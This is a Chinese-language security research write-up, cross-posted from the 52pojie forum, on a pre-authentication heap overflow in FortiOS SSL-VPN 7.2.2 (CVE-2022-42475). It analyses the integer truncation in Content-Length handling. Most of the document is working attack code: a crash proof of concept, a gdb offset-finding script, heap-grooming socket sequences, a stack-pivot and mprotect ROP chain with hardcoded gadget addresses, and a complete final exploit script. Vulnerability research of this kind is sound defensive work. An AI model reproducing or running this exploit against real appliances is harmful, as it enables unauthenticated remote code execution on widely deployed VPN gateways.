这是一个认证前 RCE,危害较大。

本文同步发表在吾爱破解论坛: https://www.52pojie.cn/thread-1817079-1-1.html

Update 2023-08-24

根据 i3r0nya 同学的提醒,在 IDA 中搜索字符串 run_command 再搜索交叉引用可以搜索到 init 中内置的执行命令的函数,这可以为我们的利用带来很大的方便。

除此之外,程序挂的位置还是在 init 中而不是 libssl.so 中,因此覆写的位置其实并非 SSL 结构体,可能是异步读写的逻辑,这一块还需要再仔细研究。

漏洞描述

A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

我们搭建 7.2.2 的环境,搭建运行环境的过程在此略过不表。该漏洞位于设备的 SSLVPN 中,目标二进制程序为 sslvpnd,也就是 init 程序,Fortigate 的所有功能都位于 init 程序中。

复现漏洞

已知漏洞位于解析 Content-Length 的位置,我们触发一下漏洞,poc 如下:

import socket
import ssl
 
path = "/remote/login".encode()
content_length = [
    "0", "-1", "2147483647", "2147483648", "-0",
    "4294967295", "4294967296", "1111111111111", "22222222222"]
ip = "192.168.102.133"
 
for CL in content_length:
    try:
        data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \
            ip.encode() + b"\r\nContent-Length: " + CL.encode() + \
            b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
 
        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        _socket.connect((ip, 4443))
        _default_context = ssl._create_unverified_context()
        _socket = _default_context.wrap_socket(_socket)
        _socket.sendall(data)
        res = _socket.recv(1024)
        print(res)
        if b"HTTP/1.1" not in res:
            print("Error detected")
            print(CL)
            break
    except Exception as e:
        print(e)
        print("Error detected")
        print(CL)
        break
 

当 CL 的值为 2147483647 时会让目标出错。

$ python poc.py
Error detected
2147483647

漏洞分析

接下来挂调试器分析

kill -9 $(ps|grep node|grep -v grep|awk '{print $1}') && nohup gdbserver12.1_glibc 192.168.158.128:443 --attach $(ps|grep sslvpn|grep -v grep|awk '{print $1}') &

在访问 rdi 的时候遇到非法地址导致程序崩溃。

看一下栈:

pwndbg> bt 20
#0  0x00007f54383f976d in __memset_avx2_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#1  0x000000000164e6b9 in ?? () # in sub_164E670()
#2  0x0000000001785ba2 in ?? () # in sub_1785AB0()
#3  0x000000000177f56d in ?? () # in sub_177F4F0()
#4  0x0000000001780c20 in ?? () # in sub_1780B00()
#5  0x0000000001780cfe in ?? ()
#6  0x0000000001781211 in ?? ()
#7  0x00000000017824bc in ?? ()
#8  0x0000000001783842 in ?? ()
#9  0x0000000000448def in ?? ()
#10 0x0000000000451eca in ?? ()
#11 0x000000000044ea2c in ?? ()
#12 0x0000000000451138 in ?? ()
#13 0x0000000000451a61 in ?? ()
#14 0x00007f54382c2deb in __libc_start_main () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#15 0x0000000000443c8a in ?? ()

简单回溯一下,rdi 是 memset 的第一个参数,也就是在 memset 的时候访问了异常地址。

再往前回溯,有趣的事情发生了,我们看到这里:

根据调试信息,[rax+0x18] 保存的是 content length,但是取的时候只取了 4 字节,然后将 rax+1 作为 esi 并符号扩展。最后调用 malloc 函数。

很显然这里存在一个整数溢出:如果我们构造 content length 为特殊值比如 0x1b00000000,在运算之后的值为 1,导致后续内存分配一块很小的空间:

但是后续 memcpy 的时候却会 copy 一块很大的空间:

这就会导致堆溢出。

看一下关键函数 sslvpn_read_post_data

__int64 __fastcall sslvpn_read_post_data(_QWORD *a1)
{
  __int64 *v1; // r12
  struct struct_http_info *v2; // rax
  struct struct_http_info *ctx; // rbx
  int v4; // eax
  int bytes; // r12d
  __int64 offset; // rdi
  __int64 v7; // rdx
  int v8; // r12d
  __int64 v10; // rdx
  int v11; // r12d
 
  v1 = (__int64 *)a1[92];
  v2 = (struct struct_http_info *)sub_17902B0(a1[83]);
  ctx = v2;
  if ( !v2->content )
    v2->content = (char *)alloc((__int64 *)*v1, v2->content_length + 1);// 根据content_length分配内存,注意此处是取的4字节数据
  v4 = ((__int64 (__fastcall *)(__int64 *, int *, __int64))read_data)(v1, &ctx->sock_buffer, 8190LL);
  bytes = v4;
  if ( v4 )
  {
    if ( v4 < 0 )
    {
      if ( (unsigned int)sub_16594C0(a1[77]) - 1 <= 4 )
        return 0LL;
    }
    else
    {
      offset = ctx->content_offset;
      v7 = *(_QWORD *)&ctx->content_length;     // 这里是用8字节content_length计算的,下面都是8字节content_length
      if ( (int)offset + v4 > v7 )
        bytes = *(_QWORD *)&ctx->content_length - offset;// 计算要拷贝的size
      if ( v7 > offset )
      {
        memcpy(&ctx->content[offset], &ctx->sock_buffer, bytes);// 从sock_buffer拷贝数据到content
        v10 = *(_QWORD *)&ctx->content_length;
        v11 = ctx->content_offset + bytes;
        ctx->content_offset = v11;
        if ( v11 < v10 )
          return 0LL;
      }
      else
      {
        v8 = ctx->content_offset + bytes;
        ctx->content_offset = v8;
        if ( v8 < v7 )
          return 0LL;
      }
    }
  }
  return 2LL;
}

这里的漏洞点显而易见,根据上面的伪代码和汇编,漏洞点在于申请内存的时候是先取 content_length 的4 字节再符号扩展为 8 字节,但是在后续使用 content_length 的时候却是原本的 8 字节,此时就会造成整数溢出。

漏洞利用

利用思路

简单看一下保护:

$ checksec --file=init_722
RELRO          STACK CANARY  NX          PIE     RPATH      
Partial RELRO  Canary found  NX enabled  No PIE  No RPATH        
RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
No RUNPATH  No Symbols  Yes      10         47           init_722

Info

结合之前 DEVCORE 利用 Fortios 堆溢出漏洞的经验,以及一些测试,通过发起多个 http 连接,可以让堆中分配多个 SSL 结构体,这样触发溢出,可以溢出到 handshake_func 函数指针,在溢出到函数指针后 rdx 指向可控数据,使用栈迁移相关的 gadget 即可完成利用.

此外由于 Fortios 的特点,进程崩溃后会立刻重启,因此可以多次尝试,直至溢出到函数指针,然后 ROP。

溢出点如下图所示。

实际利用思路 (某些步骤不一定需要或者有用):

  1. 创建 60 个 sock 连接,并发送不完整的 http 请求,希望能在服务端分配多个 SSL 结构体
  2. 从第 40 个开始间隔释放 10 个 sock 链接,希望在服务端释放几个 SSL 结构体的 Hole.
  3. 分配用于溢出的 exp_sk
  4. 再分配 20 个 sock 连接,多分配几个 SSL 结构体
  5. 触发溢出,希望修改 SSL 结构体中的函数指针
  6. 给其他 socket 发送数据,等待函数指针调用
  7. 劫持函数指针后,切换栈到可控数据区,然后 ROP 计算栈地址,调用 mprotect 让栈区有可执行权限
  8. jmp esp 跳转到栈上的 shellcode 执行。

调试偏移

这里提供一个小脚本,在 hit 到断点的时候输出此时 memcpy 的参数,并自动继续,在崩溃的时候输出崩溃地址的值,并计算相对偏移:

import gdb
 
f = open("./log", "w")
 
def get_register(regname: str):
    """Return a register's value."""
    try:
        value = gdb.parse_and_eval(regname)
        return int(value)
        # return to_unsigned_long(value)
    except gdb.error as e:
        print(e)
        assert (regname[0] == '$')
        regname = regname[1:]
        try:
            value = gdb.selected_frame().read_register(regname)
        except ValueError:
            return None
        return int(value)
 
last = 0
mem_cnt = 0
mem_start = 0
 
def stop_handler(event):
    global last, mem_cnt, mem_start
    if isinstance(event, gdb.BreakpointEvent):
        pc_val = get_register("$pc")
        rdi_val = get_register("$rdi")
        rsi_val = get_register("$rsi")
        if pc_val == 0x1785b6a: # memcpy
            f.write(f"dst: {hex(rdi_val)}, "
                    f"src: {hex(rsi_val)}, "
                    f"offset: {hex(rdi_val-last)}\n")
            f.flush()
            last = rdi_val
            mem_cnt += 1
            if mem_cnt == 61:
                mem_start = rdi_val
        gdb.execute("c")
    if isinstance(event, gdb.SignalEvent):
        if event.stop_signal in ["SIGABRT", "SIGSEGV"]:
            pc_val = get_register("$pc")
            rdx_val = get_register("$rdx")
            if pc_val == 0x1780bfb:
                mem_offset = rdx_val + 0xC0
                offset = mem_offset - mem_start
                f.write(f"crash addr: {hex(mem_offset)}\n")
                f.write(f"offset: {hex(offset)}\n")
                f.flush()
 
 
def register_stop_handler():
    gdb.events.stop.connect(stop_handler)
 
if __name__ == "__main__":
    register_stop_handler()

为了确定 SSL 结构体的位置和大小。我们把 sslvpn 打崩,看看此时内存分配的地址和函数指针距离的偏移:

import socket
import ssl
from pwn import *
 
 
path = "/remote/login".encode()
 
ip = "192.168.102.133"
port = 4443
 
 
def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket
 
 
socks = []
 
for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: 4096\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)
 
for i in range(20, 40, 2):
    sk = socks[i]
    sk.close()
    socks[i] = None
 
CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
 
exp_sk = create_ssl_ctx()
 
for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)
 
exp_sk.sendall(data)
 
exp_sk.sendall(b'\x90'*0x100000)
 
for sk in socks:
    if sk:
        data = b"b" * 40
        sk.sendall(data)

在崩溃之后,可以发现程序执行到了这个位置:

向前跟踪一下指令,我们发现 rax 的值是从地址 rdx+0C0h 取出的,内存分配是在 0x7f5430acf418 完成的,rdx+0C0h 的值为 0x7f5430ad0238:

.text:0000000001780BE0 48 8B 82 C0 00 00 00          mov     rax, [rdx+0C0h]
.text:0000000001780BE7 4C 89 EF                      mov     rdi, r13
.text:0000000001780BEA 48 85 C0                      test    rax, rax
.text:0000000001780BED 0F 84 85 00 00 00             jz      loc_1780C78
.text:0000000001780BED
.text:0000000001780BF3 5B                            pop     rbx
.text:0000000001780BF4 41 5C                         pop     r12
.text:0000000001780BF6 41 5D                         pop     r13
.text:0000000001780BF8 41 5E                         pop     r14
.text:0000000001780BFA 5D                            pop     rbp
.text:0000000001780BFB FF E0                         jmp     rax

我们可以多次尝试查看偏移是否一致。偏移和 content length 有关,这个值会影响堆的布局,因此需要仔细挑选。下面我给出在 content length = 100content length = 4096 时堆的分配情况:

content length = 100 时:

content length = 4096 时:

可以看到,不同的值会影响堆的偏移。我选择了 4096 这个值。日志输出如下:

 1: dst: 0x7f54324a6418, src: 0x7f5432505038, offset: 0x7f54324a6418
... ...
60: dst: 0x7f54308b8c18, src: 0x7f54308f2038, offset: -0x1b0800
61: dst: 0x7f5430acf418, src: 0x7f54325fc038, offset: 0x216800
62: dst: 0x7f5430acf41b, src: 0x7f54325fc038, offset: 0x3
63: crash addr: 0x7f5430ad0238
64: offset: 0xe20

在第 62 次地址分配之后调用了某个 SSL struct 的 handshake_func 函数指针,造成了崩溃,从崩溃地址到分配地址的距离为 0xe20。那么接下来我们可以借助这个偏移修改函数指针,迁移栈,劫持控制流了。

栈迁移

上文我们知道 rax 的值是从 [$rdx+0xC0] 中取的,因此我们可以将栈迁移到 rdx 上。

可以搜索到这一条 Gadget:

0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;

我们就可以很方便地迁移栈了:

payload = b"A" * (0xe20-3-0xC0)
 
"""
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""
 
push_rdx_pop_rsp_ret = 0x000000000140583a
 
gadget = b""
 
assert(len(gadget) <= 0xC0)
 
victim_obj = gadget
victim_obj += b"B"*(192-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)
 
payload += victim_obj

Ret2mprotect

在迁移栈后,开始考虑下一步操作。我希望能劫持控制流,执行自己的 shellcode,为了达成这个目标,我需要将一片可控内存区域变成可执行的区域。

在这里我们可以控制的区域是 rdx 指向的内存地址,而且我们还可以发现 ROP Gadget 中存在类似 jmp rsp 的 gadget,因此我们可以将这一段地址添加执行权限,最后 rop 到该地址执行。

首先找到一些必须的 Gadget:

payload = b"A" * (0xe20-3-0xC0)
 
 
"""stack povit
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""
 
push_rdx_pop_rsp_ret = 0x000000000140583a
 
"""ret2 mprotect
0x000000000054dac8: mov rax, rdx; ret;
0x0000000002b83960: and rax, rcx; ret;
 
0x000000000257016a: push rdx; pop rdi; ret;
0x0000000002a0e1c0: add rdx, rax; mov eax, edx; sub eax, edi; ret;
 
0x000000000060f622: pop rdi; ret;
0x0000000000530c9e: pop rsi; ret;
0x0000000000509382: pop rdx; ret;
0x000000000046bb37: pop rax; ret;
0x000000000058f803: pop rcx; ret;
 
0x0000000002608366: add r13, r8; ret;
 
0x000000000048560d: jmp rsp;
"""
mov_rax_rdx_ret = 0x000000000054dac8
and_rax_rcx_ret = 0x0000000002b83960
 
add_rdx_rax_mov_eax_edx_sub_eax_edi_ret = 0x0000000002a0e1c0
push_rdx_pop_rdi_ret = 0x000000000257016a
 
pop_rdi_ret = 0x000000000060f622
pop_rsi_ret = 0x0000000000530c9e
pop_rdx_ret = 0x0000000000509382
pop_rax_ret = 0x000000000046bb37
pop_rcx_ret = 0x000000000058f803
jmp_rsp = 0x000000000048560d
 
junk_code = 0x0000000002608366
 
write_addr = 0x00000000059f8c00
 
mprotect_plt = 0x43F3E0
 
gadget = b""
 
# gadget += p64(mov_rax_rdx_ret) # rax=rdx

接下来构造 mprotect 的参数,计算 rdx 到整个段的偏移,获取其大小,并调用 mprotect 函数:

# ret2mprotect
gadget += p64(pop_rax_ret)
gadget += p64(0xffffffffffd29e88) # offset
# gadget += p64(0)
 
gadget += p64(junk_code)
gadget += p64(junk_code)
 
gadget += p64(add_rdx_rax_mov_eax_edx_sub_eax_edi_ret)
gadget += p64(push_rdx_pop_rdi_ret)
 
gadget += p64(junk_code)
gadget += p64(junk_code)
 
gadget += p64(pop_rsi_ret)
gadget += p64(0x300000)
 
gadget += p64(pop_rdx_ret)  # rdx=0x7
gadget += p64(7)
 
gadget += p64(mprotect_plt)

劫持控制流

最后通过 jmp rsp 劫持控制流,为了跳过之前布置的栈迁移代码,我们还可以在劫持最开始的控制流之后多跳几下:

gadget += p64(jmp_rsp)
gadget += asm('jmp $+0x58')
 
# print(gadget)
 
assert (len(gadget) <= 0xC0)
 
victim_obj = gadget
victim_obj += b"\x90"*(0xC0-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)
 
 
payload += victim_obj
 
# shellcode
payload += b'\x90'*0x100
 
exp_sk.sendall(payload)

在劫持控制流之后就天高任鸟飞啦,这里就不再进一步描述获取 shell 的步骤了,感兴趣的可以看 CVE-2022-42475 - ioo0s 这一篇文章。

Exp

最后的 exp 如下所示。不同版本的 FortiOS 可能要进行一些调整。

import socket
import ssl
from pwn import *
import socket
import pathlib
 
 
path = "/remote/login".encode()
 
ip = "192.168.102.133"
port = 4443
 
 
def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket
 
 
socks = []
 
for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: 4096\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)
 
for i in range(20, 40, 2):
    sk = socks[i]
    sk.close()
    socks[i] = None
 
CL = "115964116992"  # 0x1b00000000
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: " + \
    CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
 
exp_sk = create_ssl_ctx()
 
for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)
 
exp_sk.sendall(data)
 
# exp_sk.sendall(b'\x90'*0x40000)
 
payload = b"A" * (0xe20-3-0xC0)
 
 
"""stack povit
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""
 
push_rdx_pop_rsp_ret = 0x000000000140583a
 
"""ret2 mprotect
0x000000000054dac8: mov rax, rdx; ret;
0x0000000002b83960: and rax, rcx; ret;
 
0x000000000257016a: push rdx; pop rdi; ret;
0x0000000002a0e1c0: add rdx, rax; mov eax, edx; sub eax, edi; ret;
 
0x000000000060f622: pop rdi; ret;
0x0000000000530c9e: pop rsi; ret;
0x0000000000509382: pop rdx; ret;
0x000000000046bb37: pop rax; ret;
0x000000000058f803: pop rcx; ret;
 
0x0000000002608366: add r13, r8; ret;
 
0x000000000048560d: jmp rsp;
"""
mov_rax_rdx_ret = 0x000000000054dac8
and_rax_rcx_ret = 0x0000000002b83960
 
add_rdx_rax_mov_eax_edx_sub_eax_edi_ret = 0x0000000002a0e1c0
push_rdx_pop_rdi_ret = 0x000000000257016a
 
pop_rdi_ret = 0x000000000060f622
pop_rsi_ret = 0x0000000000530c9e
pop_rdx_ret = 0x0000000000509382
pop_rax_ret = 0x000000000046bb37
pop_rcx_ret = 0x000000000058f803
jmp_rsp = 0x000000000048560d
 
junk_code = 0x0000000002608366
 
write_addr = 0x00000000059f8c00
 
mprotect_plt = 0x43F3E0
 
gadget = b""
 
# gadget += p64(mov_rax_rdx_ret) # rax=rdx
 
# ret2mprotect
gadget += p64(pop_rax_ret)
gadget += p64(0xffffffffffd29e88)
# gadget += p64(0)
 
gadget += p64(junk_code)
gadget += p64(junk_code)
 
gadget += p64(add_rdx_rax_mov_eax_edx_sub_eax_edi_ret)
gadget += p64(push_rdx_pop_rdi_ret)
 
gadget += p64(junk_code)
gadget += p64(junk_code)
 
gadget += p64(pop_rsi_ret)
gadget += p64(0x300000)
 
gadget += p64(pop_rdx_ret)  # rdx=0x7
gadget += p64(7)
 
gadget += p64(mprotect_plt)
 
gadget += p64(jmp_rsp)
gadget += asm('jmp $+0x58')
 
# print(gadget)
 
assert (len(gadget) <= 0xC0)
 
victim_obj = gadget
victim_obj += b"\x90"*(0xC0-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)
 
 
payload += victim_obj
 
# shellcode
payload += b'\x90'*0x100
 
exp_sk.sendall(payload)
 
for sk in socks:
    if sk:
        data = b"b" * 40
        sk.sendall(data)
 
print("Done")

参考资料